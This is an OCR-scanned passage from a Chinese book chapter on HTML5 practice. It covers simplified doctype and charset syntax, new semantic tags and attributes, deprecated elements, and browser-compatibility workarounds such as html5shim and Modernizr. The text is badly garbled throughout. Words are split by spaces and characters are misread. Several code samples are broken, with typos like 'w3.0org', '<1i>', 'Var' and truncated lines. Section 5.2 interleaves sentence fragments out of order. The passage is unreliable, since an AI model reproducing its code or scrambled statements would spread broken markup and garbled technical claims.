近 几 年 来 ，HTML5 这 一 概念 被 炒作 得 有 点 过 头 了 ， 给 人 的 感觉 好 像 它 是 一 种 很 酷 很 炫 的 技术 ， 这 着 实 误导 了 不 少 刚 接触 这 一 概念 的 新 手 。 实 际 上 ，HTML5 只 是 W3C 制 定 的 新 的 Web 标 准 ， 是 HTML 
4.01 的 新 版 本 ， 本 身 并 没有 复杂 或 难以 理解 的 技术 概念 。 目 前 ，HTML5 新 标准 得 到 了 各 大 浏览 器 厂商 的 支持 ， 在 Web 网 页 中 得 到 了 广泛 的 应 用 。 尽 管 各 浏览 器 都 在 积极 地 支持 HTML5， 但 毕竟 还 不 能 达到 
所 有 的 浏览 器 步调 一 致 的 地 步 ，HTML5 的 浏览 器 兼容 问题 目前 也 比较 突出 ， 这 是 客观 存在 的 事实 。 前 端 开发 者 在 应 用 HTML5 标 准 的 过 程 中 也 存在 一 些 误解 或 者 理解 不 够 深刻 的 现象 ， 这 也 就 导致 了 一 些 不 




























































































规范 的 问题 。 接 下 来 会 针对 HTML5 应 用 比较 广泛 的 几 个 特性 展开 讨论 。 











5.1.1 使 用 HTML5 中 简化 的 定义 方式 


国际 知名 的 Web 设 计 师 Jeremy Keith 曾 经 在 Fronteers 2010 会 议 上 介绍 过 HTML5 的 设计 原理 ， 这 些 原理 可 以 帮助 我 们 更 好 地 理解 HTML5。 他 提 到 HTML5 的 设计 原理 主要 有 6 条 : 避免 不 必要 的 复杂 
性 、 支 持 已 有 内 容 、 解 决 现实 问题 、 求 真 务实 、 平 稳 退 化 和 最 终 用 户 优先 。 












































在 HTML5 中 简化 的 定义 方式 正 是 “避免 不 必要 的 复杂 性 ”这 一 设计 原理 的 体现 。 其 中 ， 简 化 了 的 编写 方式 有 : 文档 类 型 声明 、 定 义 页 面 编码 以 及 样式 和 脚本 的 引用 方式 。 由 于 这 些 简化 的 书写 方式 在 旧 
浏览 器 中 也 可 以 支持 ， 因 此 推荐 在 实际 的 项 目 中 使 用 。 












































(1) 定义 文档 类 型 声明 














基本 上 很 少 有 人 能 手动 写 出 一 个 符合 HTML 4.01 规 范 的 页 面 文档 类 型 声明 ， 因 为 很 难 记 住 那 些 元 长 的 DTD 引 用 。 如 下 展示 一 个 符合 HTML 4.01 规 范 的 类 型 声明 : 




















<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.0org/TR/xhtmll/DTD/xhtmll-strict.dtd"> 





在 HTML5 中 则 去 掉 了 DTD 的 引用 ， 简 化 为 : 





<!DOCTYPE html> 























此 声明 意味 着 在 浏览 器 中 页 面 会 以 标准 模式 泻 染 。 如 果 页 面 中 使 用 了 HTML5 规 范 定义 的 类 型 声明 ， 但 是 页 面 不 能 正常 显示 ， 则 说 明 页 面 存 在 不 规范 的 代码 ， 最 好 的 做 法 是 针对 不 规范 的 点 进行 重 构 。 



































(2) 定义 页 面 编码 











设置 页 面 编码 是 非常 重要 的 ， 因 为 如 果 没 有 给 页 面 定义 任何 形式 的 编码 方式 ， 浏 览 器 会 自动 猜测 页 面 的 编码 ， 并 按照 猜测 的 编码 方式 泻 染 页 面 。 如 果 浏览 器 识别 的 编码 不 正确 ， 则 页 面 展 现时 就 可 能 
现 乱 码 。 因 此 ， 应 该 始终 给 页 面 设置 相应 的 页 面 编码 。 















































在 HTML5 的 规范 中 定义 了 两 种 设置 页 面 编码 的 方式 ， 并 且 这 两 种 方式 是 等 价 的 。 其 中 第 一 种 方式 是 在 HTML 4.01 规 范 中 引入 的 ， 第 二 种 方式 是 在 HTML5 中 新 引入 的 。 从 形式 上 看 ， 第 二 种 方式 是 第 一 
种 方式 的 简化 版 。 代 码 如 下 : 


























<!-HTML 4.01 中 定义 的 设置 页 面 编码 的 方式 --> 

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<!-HTML5 中 定义 的 设置 页 面 编码 的 方式 --> 

<meta charset="UTF-8"> 
































在 上 文中 介绍 <meta> 标 签 的 时 候 ， 曾 经 介绍 过 这 两 种 设置 方式 。 第 二 种 方式 已 经 被 所 有 主流 浏览 器 所 支持 ， 因 此 ， 在 实际 的 项 目 中 可 以 直接 使 用 。 















































(3) 样式 和 脚本 文件 的 引 

















在 一 个 符合 HTML 4.01 规 范 的 页 面 中 ， 开 发 者 引用 样式 和 脚本 的 代码 类 似 如 下 形式 : 




















<link rel="stylesheet" type="text/css" href="/css/lib/base.css"/> 
<script type="text/javascript" src="jquery.min.js"></script> 





























在 大 部 分 情况 下 ， 页 面 引用 的 样式 类 型 就 是 CSS 样 式 ，3 引 用 的 脚本 类 型 是 JavaScript。 因 此 ， 在 代码 中 ， 再 设置 type 属 性 为 text/css 就 显得 多 余 了 。 同 样 的 道理 ， 在 <script> 元 素 中 设置 type 为 
text/javascript 也 是 多 余 的 。 针 对 这 一 情况 ， 在 HTML5 规 范 中 重新 规定 了 <link> 和 <script> 的 type 属 性 : 当 <link> 元 素 的 属性 rel 设 置 为 stylesheet 了 时， 且 type 属 性 没有 设置 时 ， 上 默认 的 type 是 text/css; 在 
<script> 元 素 中 ， 如 果 type 属 性 没有 设置 ， 则 默认 的 type 是 text/javascript。 按 照 HTML5 的 规范 ， 在 常规 情况 下 ， 页 面 引用 样式 或 脚本 时 ， 可 以 省 略 type 属 性 的 设置 ， 相 应 的 代码 可 以 简化 为 : 







































































<link rel="stylesheet" href="/css/lib/base.css"/> 
<script src="jquery.min.js"></script> 





当 浏 览 器 解析 到 如 上 的 代码 时 ， 会 把 对 应 样式 作为 CSS 样 式 加 载 和 解析 ， 把 对 应 脚本 作为 JavaScript 脚 本 加 载 和 解析 。 


5.1.2 ”使 用 HTML5 中 的 新 标签 和 新 属性 














HTML5 规 范 相 较 于 HTML 4.01 规 范 ， 一 个 显著 的 变化 就 是 定义 了 多 个 新 标签 和 新 属性 。 这 些 新 标签 和 新 属性 极 大 地 提高 了 HTML 代 码 的 语义 ， 丰 富 了 HTML 原 生 的 功能 ， 解 决 了 原来 规范 中 遇 到 的 许多 
现实 问题 。 





1.HTML5 中 的 新 标签 


新 标签 主要 分 三 个 部 分 : 语义 化 标签 、 功 能 性 标签 以 及 新 的 输入 控件 类 型 。 

















新 语义 化 标签 的 引入 ， 改 变 了 HTML 4.01 规 范 中 语义 化 标签 不 足 的 状况 。 在 HTML5 还 没有 应 用 之 前 ， 我 们 在 构建 页 面 布局 时 ， 不 得 不 使 用 没有 任何 语义 的 <div> 标 签 来 分 割 页 面 的 主要 模块 。 下 面 的 代 
码 是 一 个 典型 的 页 面 HTML 框 架 : 











<body> 
<div id="header">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</div> 
<div id="navigation">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</div> 








<div i in">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</div> 

<div id: debar">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</div> 

<div igd="footer">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</div> 
</body> 























这 里 为 了 标识 每 个 模块 ， 给 相应 的 标签 添加 了 id 属性 。 例 如 ，id 属 性 设置 为 header 的 模块 表示 页 面 header 部 分 对 应 的 HTML 代 码 。 在 HTML5 中 ， 则 可 以 使 用 更 有 语义 的 标签 蔡 换 这 些 <div> 标 签 ， 如 下 
是 一 个 符合 HTML5 规 范 的 页 面 结构 : 





























<body> 
<header id="header">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</header> 
<nav id="navigation">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</nav> 
<section id="main">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</section> 
<aside id="sidebar">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</aside> 
<footer id="footer">http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/...</footer> 
</body> 

















如 上 的 页 面 结构 在 使 用 了 新 语义 标签 之 后 ， 代 码 的 可 读 性 大 幅 提 高 ， 代 码 阅 读者 仅 从 标签 的 名 称 上 就 可 以 判断 出 包含 的 内 容 属 于 页 面 的 哪 一 部 分 。HTML5 中 新 引入 的 语义 化 标签 包括 : section、 
article、aside、hgroup、header、footer、nav、figure 及 figcaption。 这 些 新 的 语义 化 标签 目前 得 到 了 大 部 分 主流 浏览 器 的 支持 ， 建 议 开发 者 可 以 在 实际 的 项 目 中 直接 使 用 。 如 果 是 在 IE 8 及 以 下 版 本 的 
旧 浏 览 器 中 ， 无 法 识别 这 些 新 标签 ， 则 可 以 通过 一 些 技术 手段 让 这 些 标签 得 到 支持 ，5.3 节 将 讨论 HTML5 新 特性 在 浏览 器 中 的 兼容 问题 。 





































































































HTML5 的 新 标签 中 ， 除 了 语义 化 的 标签 外 ， 还 有 一 些 功能 性 的 标签 ， 如 <svg>、<canvas>、<audio>、<video> 等 ， 这 些 标签 的 使 用 代替 了 原来 需要 使 用 第 三 方 插件 才能 实现 的 效果 ， 丰 富 页 面 效 果 
的 同时 也 降低 了 开发 的 复杂 度 。 目 前 ， 这 些 功能 性 标签 或 多 或 少 存在 一 些 浏览 器 的 兼容 问题 或 者 性 能 问题 ， 在 使 用 过 程 中 需要 谨慎 ， 即 首先 要 明确 浏览 器 的 支持 情况 ， 并 尽量 在 多 个 浏览 器 中 多 做 功能 和 性 
能 方面 的 测试 。 










































































另外 ， 上 文 在 介绍 表单 设计 时 ， 提 到 过 HTML5 中 新 加 了 多 个 表单 输入 类 型 ， 包 括 tel、search、url、date、email、number、range、color 等 。 在 不 支持 的 浏览 器 中 ， 这 些 新 表单 输入 控件 会 平稳 降级 
为 普通 的 ext 类 型 输入 控件 。 推 荐 在 项 目 中 直接 使 用 这 些 新 的 输入 控件 类 型 。 








2.HTML5 中 新 增 的 标签 属 





性 











HTML5 规 范 中 新 增加 了 不 少 的 属性 。 目 前 使 用 较 广泛 的 标签 属性 有 以 下 几 种 : 

















(1) <script> 标 签 的 async 属 性 




















<script> 标 签 中 有 两 个 和 脚本 加 载 时 机 有 关 的 属性 ， 即 async 和 defer。 按 照 规范 ， 这 两 个 属性 只 有 在 <script> 标 签 中 设置 了 src 属 性 时 才能 起 作用 ， 因 此 ， 这 两 个 属性 不 应 该 使 用 在 内 联 脚本 上 (尽管 很 
多 浏览 器 支持 ) 。 属 性 defer 是 在 HTML 4.01 规 范 中 定义 的 []， 它 表明 <script> 元 素 中 包含 的 JavaScript 代 码 并 不 会 修改 DOM 结 构 ， 因 此 代码 可 以 延迟 执行 。 目 前 ，defer 属 性 得 到 了 大 部 分 主流 浏览 器 的 / 
泛 支持 ， 但 Opera Mini 还 不 支持 此 属性 四 。 浏 览 器 解析 到 设置 了 此 属性 的 Javascript 引 用 ， 就 会 以 并 行 的 方式 下 载 脚本 ， 而 不 是 阻塞 的 方式 下 载 。 脚 本 加 载 完成 后 ， 浏 览 器 会 在 DOMContentLoaded 触 发 
之 前 按照 引用 顺序 运行 JavaScript 代 码 。 属 性 async 是 HTML5 规 范 中 新 定义 的 属性 ， 它 表明 脚本 以 异步 的 方式 加 载 和 执行 。 属 性 async 也 得 到 了 大 部 分 主流 浏览 器 的 支持 ， 目 前 只 在 IE 9 及 以 下 版 本 和 Opera 
Mini 浏 览 器 中 不 可 用 BI]。 浏 览 器 会 以 异步 方式 下 载 JavaScript 代 码 文件 ， 并 在 下 载 结束 后 立即 执行 代码 ， 并 不 会 等 待 页 面 解析 结束 。 使 用 defer 和 async 属 性 的 示例 代码 如 下 : 










































































































































































<!-- HTML 4.01 规 范 中 定义 了 defer 属 性 --> 

<script src="file.js" defer="defer"></script> 
<!-- HTML5 规 范 中 定义 了 async 属 性 --> 
<script src="file.js" async="async"></script> 


















































很 多 开发 者 会 混淆 这 两 个 属性 ， 使 用 不 当 还 会 导致 脚本 错误 。 属 性 defer 的 作用 是 让 脚本 后 置 加 载 ， 相 当 于 把 脚本 放置 于 页 面 最 后 面 加 载 和 执行 。 属 性 async 的 作用 是 让 脚本 异步 加 载 和 执行 。 两 个 属性 
的 差别 是 : 设置 async 属 性 后 不 能 保证 脚本 按照 顺序 加 载 和 执行 ， 脚 本 加 载 完成 后 会 立即 执行 ， 而 设置 defer 的 脚本 还 是 会 按照 原 有 的 顺序 执行 。 因 此 ， 如 果 脚 本 执行 之 间 有 依赖 关系 ， 则 不 能 使 用 async 属 
性 ; 如 果 页 面 中 有 内 联 的 脚本 依赖 于 加 载 的 脚本 ， 则 不 适合 使 用 defer 属 性 。 













































































































































































从 功能 上 来 说 ， 可 以 使 用 async 属 性 的 场合 也 可 以 使 用 defer 属 性 。 因 此 ， 在 设置 async 属 性 时 ， 推 荐 同时 设置 defer 属 性 ， 这 样 当 浏览 器 不 支持 async 属 性 时 defer 属 性 会 起 作用 ， 从 而 最 大 限度 地 提高 脚 
本 加 载 执行 的 性 能 。 



































(2) <base> 标 签 的 target 属 性 


























<base> 标 签 中 的 target 属 性 其 实 已 经 被 大 多 数 主流 浏览 器 所 支持 ， 但 没有 在 HTML 4.01 规 范 中 定义 。 此 属性 的 作用 是 指定 页 面 <a> 标 签 的 默认 窗口 ， 省 去 了 在 <a> 标 签 中 定义 target 属 性 的 麻烦 。 例 
如 : 























<head> 
<base target=" blank"> 
</head> 











属性 target 设 置 为 _blank， 单 击 页 面 上 的 超 链接 时 会 在 新 窗口 打开 。 

















(3) <input> 和 <textarea> 中 的 placeholder、required 及 autofocus 属 性 






















































































输入 控件 上 的 这 几 个 属性 是 非常 有 用 的 ， 增 强 了 用 户 体验 。 有 关 这 几 个 属性 的 具体 功能 ， 可 以 参考 W3C 官 方 的 文档 。 在 老 旧 浏览 器 还 盛行 的 年 代 ， 这 几 个 功能 就 已 经 使 用 得 很 广泛 了 ， 只 是 需要 使 
Javascript 来 实现 。 正 是 因为 使 用 的 较 广泛 ， 所 以 在 HTML5 规 范 中 直接 引入 了 这 些 功能 ， 让 浏览 器 可 以 原生 地 支持 这 些 功 能 ， 降 低 了 开发 的 难度 。 

























































































这 几 个 属性 仅仅 用 于 提高 用 户 体验 ， 很 多 时 候 并 不 会 在 不 支持 这 些 属性 的 浏览 器 中 做 兼容 处 理 。 如 果 期 望 在 所 有 浏览 器 中 都 有 相同 的 体验 ， 则 需要 判断 浏览 器 是 否 支 持 此 功能 ， 并 在 不 支持 的 状况 下 
使 用 Javascript 代 码 实现 相同 的 功能 。 当 然 ， 也 可 以 使 用 第 三 方 的 Query 插 件 ， 如 placeholder 对 应 的 一 个 jQuery 插件 jquery-placeholder， 使 用 方法 也 很 简单 ， 如 下 是 使 用 此 插件 的 示例 代码 : 










































































$('input, textarea') .Placeholder () 7 


此 外 ， 还 需要 设置 placeholder 对 应 的 字体 颜色 : 


‘Placeholder { color: #aaa; } 





(4) 标签 上 的 自 定义 属性 data-*。 














自 定义 属性 是 一 个 很 有 意义 的 特性 ， 我 们 在 编写 前 端 代码 时 ， 已 经 习惯 于 在 标签 的 属性 上 保存 某 些 数据 ， 但 是 这 种 添加 自 定义 属性 的 做 法 又 不 符合 HTML 4.01 规 范 。 为 了 解决 这 种 现实 存在 的 问 
题 ，HTML5 中 添加 了 用 于 保存 自 定义 数据 的 方式 ， 同 时 也 添加 了 对 应 的 API: dataset。 如 下 示例 展示 了 自 定义 数据 的 定义 和 读 取 : 
























































<ol> 
<1i id="byond sea" data-length="2mlls">Beyond The Sea</1i> 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
</ol> 


对 应 的 读 取 和 设置 数据 的 方式 如 下 : 


Var beyonqSea = document .getElementById('byond sea'); 
// 获取 数据 

beyondSea.dataset['length']; 

// 设置 数据 

beyondSea.dataset['length'] = '3mlls'; 























此 API 已 经 得 到 了 大 部 分 主流 浏览 器 的 支持 ， 但 IE 7 及 以 下 浏览 器 并 不 支持 此 API。jQuery 框 架 已 经 封装 了 此 APl， 并 同时 包含 了 浏览 器 兼容 方案 ， 推 荐 在 项 目 中 使 用 Query 框 架 提供 的 APIl。 如 下 是 使 F 
jQuery API 的 例子 : 





<div data-role="page" 

$ ("div") .data ("role") 

$ ("div") .data ("lastValue 

$ ("div") .data ("hidden") = 起 ; 

$ ("div") .data ("options") .name === "John"; 

在 HTML5 的 规范 中 ， 有 一 些 标签 和 属性 已 经 有 了 部 分 变更 ， 它 们 改变 了 原 有 的 定义 。 如 下 几 个 变更 点 





(1) <i>、<b>、<u> 和 <small> 








需要 引起 注意 。 











在 HTML 4.01 规 范 中 ， 这 几 个 标签 都 是 和 字符 样式 有 关 的 标签 。 标 签 <i>、<b>、 
站 纯 是 设置 字符 

















<u> 和 <small> 这 4 个 标签 表示 将 包含 的 字符 设 
样式 ， 而 是 改变 成 为 了 语义 化 的 标签 ， 具 体 语义 可 参照 W3C 制 定 的 HTML5 规 范 。 此 外 ， 标 签 <em> 和 标签 <i> 的 默认 样式 一 样 ， 其 语义 为 “强调 ”。 标 签 <strong> 和 标签 <b> 的 默认 样式 





为 斜体 、 黑 体 、 下 划 线 和 小 字体 。 在 HTML5 规 范 中 ， 这 4 个 标签 不 再 
































”。 以 上 这 些 标签 虽然 在 浏览 器 中 有 默认 的 字符 样式 ， 但 如 果 仅 仅 是 给 字符 





也 是 一 样 的 ， 其 语义 为 “ 宣 














(2) <script> 











F 
上 





<script> 标 签 除了 可 以 包含 脚本 代码 之 外 ， 还 可 以 包 
自 于 Mozilla 开 发 中 心 网 站 。 


户 自 定义 的 数据 块 。 在 实际 应 上 














中 ，<script 
































<script id="purchase-order" type="application/xml"> 
<purchaseOrder 
xmlns="http://example.mozilla.org/PurchaseOrderML"> 
<lineItem> 
<name>Line Item 1</name> 
<price>1.25</price> 
</lineItem> 
<lineItem> 
<name>Line Item 2</name> 
<price>2.48</price> 
</lineItem> 
</purchaseOrder> 
</script> 





该 示例 中 的 <script> 标 签 包含 了 XML 数 据 。 将 标签 中 的 type, 
JavaScript 代 码 如 下 : 


Var orderSource = document .getElementById ("purchase-order") .textContent; 
Var parser = new DOMParser (); 


var doc = parser.parseFromString (orderSource, "application/xml"); 

















上 述 代 码 中 ， 首 先 根据 数据 块 的 ID 得 到 了 包含 的 数据 字符 串 ， 然 后 使 用 DOMParser 格 式 化 数据 字 : 








日 


[1] http://www.w3.0rg/TR/html401 /interact/scripts.html#adef-defer 
[2] http://caniuse.com/#search=defer 


[3] http://caniuse.com/#search=async 


5.2 不 要 使 用 HTML5 中 已 废弃 的 标签 和 属性 


HTML5 的 规范 中 除了 新 添加 了 标签 和 





属性 以 外 ， 也 有 部 分 原 有 标签 和 





设置 斜体 、 县 


属性 设置 为 application/xml 并 没有 特别 的 意义 ， 仅 仅 是 为 了 和 


属性 从 标准 中 移 除 。 移 除 的 标签 按照 移 除 原 











和 体 或 者 添加 下 划 线 ， 则 应 该 使 用 CSS 样 式 。 











> 标签 包含 的 数据 块 有 HTML 模 板 、XML 数 据 等 。 如 下 是 一 个 | 











包含 XM 数据 的 例子 ， 此 示例 来 








居 的 方式 也 很 简 和 





置 默认 的 text/javascript 值 。 读 取 此 段 数 和 E， 对 应 的 





为 XML 实 体 对 象 。 





可 以 分 为 以 下 3 类 。 

















(1) 标签 仅仅 是 为 了 设置 外 观 ， 没 有 任何 语义 ， 而 且 这 些 标签 可 以 使 





CSS 代 蔡 











涉及 的 标签 包括 : <basefont>、<big>、<center>、<font>、<strike> 和 <tt>。 




















<basefont> 标 签 定义 文档 中 默认 字体 颜色 、 大 小 。 因 为 目前 只 有 IE 支持 此 标签 ， 所 以 应 该 避免 使 用 。 



































使 











局 的 CSS 样 式 则 可 以 达到 相同 的 效果 。 








CSS 设 置 对 应 的 字体 大 小 。<small> 标 签 没有 废弃 ， 但 规范 中 














<big> 标 签 设置 文本 的 大 字体 。 可 改 














将 文本 居中 。 应 该 使 








居中 。 


<Center> 上 








CSSs 样 式 (text-align:center) 设置 文本 


























于 设置 文本 的 字体 样式 。 应 该 使 有 








CSs 样 式 中 的 字体 设置 相关 样式 。 








<font> 标 签 上 

















<strike> 标 签 定义 加 删除 线 的 文本 ， 可 以 使 有 




















aT 


丁 芭 
































<tt> 标 签 











于 定义 打字 机 文本 。 和 <big>、<strike> 及 <font> 标 签 一 样 ， 也 是 














(2) 标签 破坏 了 可 用 性 





me>、<frameset>、<noframes>。 


该 类 标签 包括 : <fra 























(3) 标签 很 少 被 使 用 ， 能 引起 混淆 或 者 是 有 更 好 的 代替 标签 





该 类 标签 包括 : <acronym>、<applet>、<isindex> 和 <dir>。 






































CSS 样 式 (text-decoration:line-through) 实现 相同 的 效果 。 如 果 为 了 表示 “ 


字体 样式 的 标签 。 此 标签 的 效果 可 使 


新 定义 了 此 标签 。 











除 ” 语义， 则 可 以 使 用 < del> 标 签 。 
































CSS 样 式 font-weight 设 置 代替 。 














应 该 使 用 输入 控件 代 蔡 使 用 <isindex> 标 签 。 标 签 <acronym >、<applet> 和 <dir> 对 应 的 代替 标签 是 <abbr>、<object>、<ul>。 
此 外 ， 也 有 一 些 标签 属性 从 规范 定义 中 被 移 除 ， 移 除 属性 的 原因 和 前 面 提 到 的 移 除 标签 的 原因 类 似 ， 大 部 分 是 因为 可 以 使 用 CSS 样 式 代 蔡 。 以 下 列举 一 些 常 见 的 不 规范 属性 : 


























口 <table> 、<div> 、<input> 、<hx> 系列 等 标签 中 的 align 属性 
口 <tr> 、<td> 、<th> 等 标签 中 的 valign 属性 。 

口 <table> 、<body> 标签 中 的 bgcolor 属性 。 

口 <iframe> 标签 中 的 scrolling 属性 。 

口 <img> 等 标签 中 的 width 和 height 属性 。 


以 上 只 列举 了 部 分 废弃 的 标签 和 属性 ，W35C 提 供 了 一 份 介绍 HTML5 和 HTML 4.01 规 范 差异 的 文档 ， 文 档 中 详细 列举 了 所 有 新 添加 的 或 废弃 了 的 标签 和 属性 ， 值 得 所 有 前 端 开 发 者 详细 阅读 。 在 这 些 废 
弃 的 标签 或 属性 中 ， 和 外 观 样式 相关 的 较 多 。 这 些 标签 或 属性 的 效果 都 可 以 用 对 应 的 CSS 样 式 实现 。 尽 管 目前 的 浏览 器 还 在 继续 支持 这 些 废弃 的 标签 或 属性 ， 但 在 页 面 编码 过 程 中 应 该 避免 使 用 。 






















































































5.3 ”如 何 处 理 浏览 器 的 兼容 问题 





HTML5 毕 竟 是 刚刚 才 定 义 完成 的 规范 ， 还 有 一 些 浏览 器 并 不 能 支持 其 中 的 新 标签 和 新 属性 ， 尤 其 是 IE 8 及 以 下 版 本 浏览 器 。 下 面 介绍 一 些 在 页 面 中 使 用 HTML5 新 标签 的 实践 方法 ， 目 的 是 让 HTML5 中 
的 新 标签 在 版 本 较 早 的 浏览 器 中 也 能 得 到 有 限 的 支持 ， 不 至 于 影响 整个 的 页 面 功能 











(1) 让 浏览 器 识别 HTML5 规 范 中 的 新 标签 











因为 IE 8 浏览 器 中 还 没有 添加 对 HTML5 新 标签 的 支持 ， 所 以 无 法 直接 展现 HTML5 新 标签 中 的 内 容 。 值 得 庆幸 的 是 ，IE BVIE 7Y/IE 6 支持 通过 document.createElement 方 法 产生 的 标签 ， 可 以 利用 这 一 特 
性 让 这 些 浏览 器 支持 HTML5 新 标签 ， 代 码 如 下 : 

















var e = "abbr， article， aside, audio, canvas， datalist, details, dialog, eventsource, figure, footer, header, hgroup, mark， menu， meter, nav, output, progress, se 
var i= e.length; 
while (i--){ 

document .createElement (e[i]) 


bE 





浏览 器 支持 新 标签 后 ， 还 需要 添加 标签 默认 的 样式 : 





article, aside, figcaption, figure, footer, header, hgroup, nav, section{display:block} 
mark{background:#FF0;color:#000} 


























这 样 两 段 简单 的 JavaScript 代 码 和 CSS 代 码 就 可 以 让 IE 8 及 以 下 版 本 浏览 器 支持 HTML5 中 的 新 标签 。 当 然 ， 最 好 的 方式 是 直接 使 用 成 熟 的 框架 ， 目 前 有 多 个 基于 六 
html5shim 框 架 。html5shim 的 使 用 方法 很 简单 ， 在 页 面 的 head 部 分 添加 框架 的 引用 即 可 : 








中 
由 
噶 





想 的 框架 ， 使 用 较 多 的 是 





















































发 上 -一 [站 It TE 9]> 
<script> src="http://html5shim.googlecode.com/svn/trunk/html5.js"</script> 
<![endif]--> 





(2) HTML5 中 新 特性 的 向 后 兼容 


在 广义 的 HTML5 中 ,包括 了 HTML5、CSS3 以 及 新 的 API。 因 为 新 特性 或 多 或 少 会 存在 浏览 器 的 兼容 问题 ， 所 以 在 使 用 新 特性 时 检测 浏览 器 是 否 支持 此 特性 是 非常 必要 的 。 当 浏览 器 不 支持 新 特性 时 ， 
可 以 做 合适 的 向 后 兼容 处 理 。 目 前 ， 并 没有 一 个 统一 的 方法 检测 新 特性 的 支持 情况 ， 有 些 新 特性 有 对 应 的 API 可 以 识别 ， 有 些 新 特性 则 只 能 通过 一 些 技巧 来 识别 。 好 在 有 热心 的 工程 师 开发 了 多 个 检测 新 特性 
的 框架 ， 其 中 检测 准确 率 和 使 用 率 较 高 的 是 Modernizr。 























Modernizr 框 架 的 原理 是 自动 检测 浏览 器 是 否 支持 新 特性 ， 并 在 <html> 标 签 中 添加 对 应 的 类 。 如 果 浏 览 器 支持 某 个 特性 ， 则 会 添加 一 个 以 特性 名 称 命名 的 类 ， 反 之 ， 则 添加 一 个 以 “no-” 为 前 级 加 上 
特性 名 称 命名 的 类 。 举 个 例子 ， 如 果 在 浏览 器 中 支持 手势 触摸 ， 则 会 在 <html> 标 签 中 添加 一 个 名 称 为 touch 的 类 ， 反 之 则 添加 一 个 no-touch 的 类 。Modernizr 框 架 以 这 种 添加 CSSs 类 的 方式 表明 特性 的 支持 
情况 。 同 时 框架 也 会 生成 一 个 名 为 Modernizr 的 对 象 ， 通 过 判断 此 对 象 上 的 代表 各 特性 的 属性 值 ， 可 以 知道 当前 浏览 器 是 否 支持 此 新 特性 。 例 如 ， 判 断 浏览 器 是 否 支持 手势 触摸 ， 可 以 在 Javascript 代 码 中 检 
测 Modernizrtouch 的 值 。 
































Modernizr 的 使 用 方法 很 简单 ， 首 先 要 在 head 部 分 引入 框架 的 JavaScript 文 件 : 














<script src="js/modernizr.min.js"></script> 





其 次 在 <html> 标 签 中 添加 一 个 名 为 no-js 的 类 : 





<html class="no-js"> 














如 果 浏 览 器 没有 禁用 Javascript， 则 浏览 器 加 载 页 面 后 ，<html> 标 签 中 的 类 会 动态 替换 和 添加 。 加 载 后 ，<html> 标 签 类 似 如 下 : 

















<html class="js canvas canvastext geolocation rgba hsla no-multiplebgs borderimage borderradius boxshadow opacity no-cssanimations Csscolumns no-cssgradients no-cssreflections 



































在 CSS 代 码 中 ， 可 以 通过 使 用 这 些 类 添加 向 后 兼容 的 代码 。 如 下 是 一 个 使 用 多 背景 图 的 例子 : 


























#nice { 
background: Url (background-one.png) top left repeat-x; 
} 
.multiplebgs #nice { 
background: Url (background-one.png) top left repeat-x， 
Url (background-two.png) bottom left repeat-x; 
} 











对 此 框架 感 兴趣 的 读者 ， 可 以 浏览 Modernizr 的 官方 网 站 [0]， 获 得 更 详细 的 示例 和 使 用 方式 。 














(3) 音频 和 视频 的 兼容 








音频 和 视频 是 在 页 面 中 常用 的 多 媒体 标签 ， 但 浏览 器 兼容 则 是 比较 混乱 的 ， 因 此 ， 这 里 作为 一 个 单独 的 话题 来 讨论 。 音 频 和 视频 是 比较 早 得 到 浏览 器 原生 支持 的 特性 ， 使 得 音频 和 视频 的 播放 不 再 限制 
于 第 三 方 的 插件 ， 尤 其 是 在 移动 平台 中 。 音 频 和 视频 是 一 个 “大 蛋糕 ”， 各 浏览 器 厂商 都 想 分 得 最 大 的 那 一 块 ， 这 也 导致 浏览 器 支持 音频 和 视频 的 格式 出 现 了 分 化 。 浏 览 器 支持 的 音频 格式 的 列表 见 表 5-1。 























表 5-1 浏览 器 支持 的 音频 格式 的 列表 


浏览 支持 格式 
Internet Explorer MP3、AAC 
Chrome Ogg Vorbis、MP3 、WAV ( 9.0+) 
Firefox 3.6+ Ogg Vorbis 、WAV 
Safari MP3、AAC、WAV 
Opera Ogg Vorbis 、WAV 


大 约 有 80% 的 浏览 器 支持 HTML5 的 <audio> 标 签 ， 但 是 并 没有 一 种 统一 的 音频 格式 。 从 支持 的 格式 来 看 ， 要 让 所 有 的 浏览 器 可 以 播放 <audio> 元 素 上 的 音频 ， 最 佳 的 方式 是 提供 MP3 和 Ogg_Vorbis 两 
种 格式 ， 兼 容 代码 如 下 : 





<audio controls> 
<source src="elvis.mp3" type='audio/mpeg; codecs="mp3"'> 
<source src="elvis.o0oga" type='audio/ogg; codecs="vorbis"'> 
<!-- 向 后 兼容 代码 : 如 显示 提示 信息 、 提 供 下 载 链 接 使 用 Flash 播 放 器 等 --> 
浏览 器 不 支持 <code>audio</code> 标 签 

</audio> 


























如 代码 中 的 注释 所 提 到 的 ， 兼 容 代码 可 以 是 提示 信息 ， 也 可 以 使 用 第 三 方 的 Flash 播 放 器 ， 或 者 直接 提供 一 个 下 载 的 链接 ， 用 户 下 载 后 可 以 使 用 系统 原生 播放 器 应 用 播放 音频 文件 。 











视频 也 有 和 音频 类 似 的 状况 。 表 5-2 是 浏览 器 支持 的 视频 格式 的 列表 。 


表 5-2 浏览 器 支持 的 视频 格式 的 列表 


浏览 支持 格式 
Internet Explorer MP4 
Chrome MP4、 WebM、 Ogg 


Firefox 3.6 十 WebM、Ogg 
Safarl 0 MP4 


